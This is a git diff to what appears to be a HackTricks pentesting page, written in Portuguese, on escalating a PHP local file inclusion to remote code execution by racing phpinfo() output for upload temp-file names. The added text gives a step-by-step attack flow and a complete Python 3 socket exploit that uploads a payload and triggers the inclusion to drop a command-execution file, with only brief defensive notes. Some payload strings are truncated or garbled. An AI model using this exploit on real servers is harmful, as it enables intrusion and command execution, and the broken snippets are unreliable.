diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md index f97518191..c2c31e156 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md @@ -1,55 +1,160 @@ +# LFI to RCE via PHPInfo + {{#include ../../banners/hacktricks-training.md}} -Para explorar essa vulnerabilidade, você precisa: **Uma vulnerabilidade LFI, uma página onde phpinfo() é exibido, "file_uploads = on" e o servidor deve ser capaz de escrever no diretório "/tmp".** +Para explorar esta técnica você precisa de todos os seguintes itens: +- Uma página acessível que imprima a saída do phpinfo(). +- Uma primitiva de Local File Inclusion (LFI) que você controla (p.ex., include/require a partir de input do usuário). +- Uploads de arquivo em PHP habilitados (file_uploads = On). Qualquer script PHP aceitará uploads multipart RFC1867 e criará um arquivo temporário para cada parte enviada. +- O worker PHP deve ser capaz de escrever no upload_tmp_dir configurado (ou no diretório temporário padrão do sistema) e seu LFI deve ser capaz de incluir esse caminho. -[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) +Classic write-up and original PoC: +- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) +- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors) -**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) +Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s -Você precisa corrigir o exploit (mudar **=>** para **=>**). Para fazer isso, você pode fazer: +Notas sobre o PoC original +- A saída do phpinfo() é codificada em HTML, então a seta "=>" frequentemente aparece como "=>". Se você reutilizar scripts legados, assegure-se de que eles procurem por ambas as codificações ao analisar o valor _FILES[tmp_name]. +- Você deve adaptar o payload (seu código PHP), REQ1 (a requisição para o endpoint phpinfo() incluindo padding), e LFIREQ (a requisição para o seu LFI sink). Alguns alvos não precisam de um terminador null-byte (%00) e versões modernas do PHP não o respeitarão. Ajuste o LFIREQ de acordo com o sink vulnerável. + +Exemplo sed (apenas se você realmente usar o antigo PoC em Python2) para corresponder à seta codificada em HTML: ``` -sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py +sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py ``` -Você também precisa alterar o **payload** no início do exploit (por exemplo, para um php-rev-shell), o **REQ1** (isso deve apontar para a página phpinfo e deve ter o padding incluído, ou seja: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (isso deve apontar para a vulnerabilidade LFI, ou seja: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Verifique o duplo "%" ao explorar o caractere nulo) - {{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}} -### Teoria +## Teoria -Se uploads são permitidos em PHP e você tenta fazer o upload de um arquivo, esse arquivo é armazenado em um diretório temporário até que o servidor termine de processar a solicitação, então esse arquivo temporário é excluído. +- Quando o PHP recebe um POST multipart/form-data com um field de arquivo, ele grava o conteúdo em um arquivo temporário (upload_tmp_dir ou o padrão do SO) e expõe o caminho em $_FILES['']['tmp_name']. O arquivo é removido automaticamente ao final da requisição, a menos que seja movido/renomeado. +- O truque é descobrir o nome temporário e incluí-lo via seu LFI antes que o PHP o limpe. phpinfo() imprime $_FILES, incluindo tmp_name. +- Ao inflar headers/parâmetros da requisição (padding) você pode fazer com que pedaços iniciais da saída de phpinfo() sejam liberados para o cliente antes da conclusão da requisição, assim você pode ler tmp_name enquanto o arquivo temporário ainda existe e então imediatamente acessar o LFI com esse caminho. -Então, se você encontrou uma vulnerabilidade LFI no servidor web, pode tentar adivinhar o nome do arquivo temporário criado e explorar um RCE acessando o arquivo temporário antes que ele seja excluído. +No Windows os arquivos temporários costumam estar sob algo como C:\\Windows\\Temp\\php*.tmp. No Linux/Unix eles geralmente ficam em /tmp ou no diretório configurado em upload_tmp_dir. -Em **Windows**, os arquivos geralmente são armazenados em **C:\Windows\temp\php** +## Fluxo de ataque (passo a passo) -Em **linux**, o nome do arquivo costuma ser **aleatório** e localizado em **/tmp**. Como o nome é aleatório, é necessário **extrair de algum lugar o nome do arquivo temporário** e acessá-lo antes que ele seja excluído. Isso pode ser feito lendo o valor da **variável $\_FILES** dentro do conteúdo da função "**phpconfig()**". - -**phpinfo()** - -**PHP** usa um buffer de **4096B** e quando está **cheio**, é **enviado ao cliente**. Então, o cliente pode **enviar** **muitas requisições grandes** (usando cabeçalhos grandes) **fazendo upload de um php** reverse **shell**, esperar que **a primeira parte do phpinfo() seja retornada** (onde o nome do arquivo temporário está) e tentar **acessar o arquivo temporário** antes que o servidor php exclua o arquivo explorando uma vulnerabilidade LFI. - -**Script Python para tentar forçar o nome (se o comprimento = 6)** -```python -import itertools -import requests -import sys - -print('[+] Trying to win the race') -f = {'file': open('shell.php', 'rb')} -for _ in range(4096 * 4096): -requests.post('http://target.com/index.php?c=index.php', f) - - -print('[+] Bruteforcing the inclusion') -for fname in itertools.combinations(string.ascii_letters + string.digits, 6): -url = 'http://target.com/index.php?c=/tmp/php' + fname -r = requests.get(url) -if 'load average' in r.text: # '); +``` +2) Envie um grande POST multipart diretamente para a página phpinfo() para que ela crie um arquivo temporário contendo seu payload. Infle vários headers/cookies/params com ~5–10KB de padding para encorajar saída precoce. Certifique-se de que o nome do campo do formulário corresponde ao que você vai parsear em $_FILES. + +3) Enquanto a resposta do phpinfo() ainda estiver em streaming, parseie o corpo parcial para extrair $_FILES['']['tmp_name'] (HTML-encoded). Assim que tiver o caminho absoluto completo (ex.: /tmp/php3Fz9aB), dispare seu LFI para incluir esse caminho. Se o include() executar o arquivo temporário antes dele ser apagado, seu payload será executado e gerará /tmp/.p.php. + +4) Use o arquivo gerado: GET /vuln.php?include=/tmp/.p.php&x=id (ou onde quer que seu LFI permita incluir) para executar comandos de forma confiável. + +> Dicas +> - Use múltiplos workers concorrentes para aumentar suas chances de vencer a condição de corrida. +> - Locais de padding que comumente ajudam: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Ajuste por alvo. +> - Se o sink vulnerável acrescenta uma extensão (e.g., .php), você não precisa de um null byte; include() irá executar PHP independentemente da extensão do arquivo temporário. + +## Minimal Python 3 PoC (socket-based) + +O trecho abaixo foca nas partes críticas e é mais fácil de adaptar que o script legado Python2. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD. +```python +#!/usr/bin/env python3 +import re, html, socket, threading + +HOST = 'target.local' +PORT = 80 +PHPSCRIPT = '/phpinfo.php' +LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path +THREADS = 10 + +PAYLOAD = ( +"'); ?>\r\n" +) +BOUND = '---------------------------7dbff1ded0714' +PADDING = 'A' * 6000 +REQ1_DATA = (f"{BOUND}\r\n" +f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" +f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") + +REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" +f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" +f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" +f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" +f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") + +LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") + +pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") + + +def race_once(): +s1 = socket.socket() +s2 = socket.socket() +s1.connect((HOST, PORT)) +s2.connect((HOST, PORT)) +s1.sendall(REQ1.encode()) +buf = b'' +tmp = None +while True: +chunk = s1.recv(4096) +if not chunk: +break +buf += chunk +m = pat.search(html.unescape(buf.decode(errors='ignore'))) +if m: +tmp = m.group(1) +break +ok = False +if tmp: +req = (LFI % tmp).encode() % HOST.encode() +s2.sendall(req) +r = s2.recv(4096) +ok = b'.p.php' in r or b'HTTP/1.1 200' in r +s1.close(); s2.close() +return ok + +if __name__ == '__main__': +hit = False +def worker(): +nonlocal_hit = False +while not hit and not nonlocal_hit: +nonlocal_hit = race_once() +if nonlocal_hit: +print('[+] Won the race, payload dropped as /tmp/.p.php') +exit(0) +ts = [threading.Thread(target=worker) for _ in range(THREADS)] +[t.start() for t in ts] +[t.join() for t in ts] +``` +## Solução de problemas +- Você nunca vê tmp_name: Certifique-se de realmente fazer POST multipart/form-data para phpinfo(). phpinfo() imprime $_FILES apenas quando um campo de upload estava presente. +- A saída não é liberada cedo: Aumente o padding, adicione mais headers grandes ou envie múltiplas requisições concorrentes. Alguns SAPIs/buffers não farão flush até limites maiores; ajuste conforme necessário. +- Caminho LFI bloqueado por open_basedir ou chroot: Você deve apontar o LFI para um caminho permitido ou mudar para um vetor LFI2RCE diferente. +- Diretório temporário não é /tmp: phpinfo() imprime o caminho tmp_name absoluto completo; use esse caminho exato no LFI. + +## Notas defensivas +- Nunca exponha phpinfo() em produção. Se necessário, restrinja por IP/autenticação e remova após o uso. +- Mantenha file_uploads desabilitado se não for necessário. Caso contrário, restrinja upload_tmp_dir para um caminho não alcançável por include() na aplicação e aplique validação estrita em quaisquer caminhos de include/require. +- Trate qualquer LFI como crítico; mesmo sem phpinfo(), outros caminhos LFI→RCE existem. + +## Técnicas relacionadas do HackTricks + +{{#ref}} +lfi2rce-via-temp-file-uploads.md +{{#endref}} + +{{#ref}} +via-php_session_upload_progress.md +{{#endref}} + +{{#ref}} +lfi2rce-via-nginx-temp-files.md +{{#endref}} + +{{#ref}} +lfi2rce-via-eternal-waiting.md +{{#endref}} + + + +## Referências +- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf +- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php {{#include ../../banners/hacktricks-training.md}}